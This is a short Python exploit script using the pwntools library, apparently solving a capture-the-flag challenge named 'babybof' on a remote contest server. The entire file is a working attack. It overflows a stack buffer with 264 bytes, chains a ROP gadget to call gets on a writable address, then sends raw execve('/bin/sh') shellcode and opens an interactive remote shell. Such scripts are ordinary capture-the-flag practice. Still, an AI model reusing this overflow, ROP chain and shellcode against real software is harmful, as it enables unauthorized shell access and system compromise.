from pwn import *

p= remote('chals20.cybercastors.com', 14425)
#p= process("./babybof")
elf= ELF("./babybof")

#print(p.recv())
#p.recv()

#rop 
payload = "A"*264
#payload += p64(0x00000000004006e7)
payload += p64(0x00000000004007f3) # pop_rdi_ret
payload += p64(0x0000000000601000) # writeable address
payload += p64(0x00000000004005d0) #gets 
payload += p64(0x0000000000601000) # writeable address

p.sendline(payload)
shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

#payload += p64(0x0000000000601000)

p.sendline(shellcode)
p.interactive()


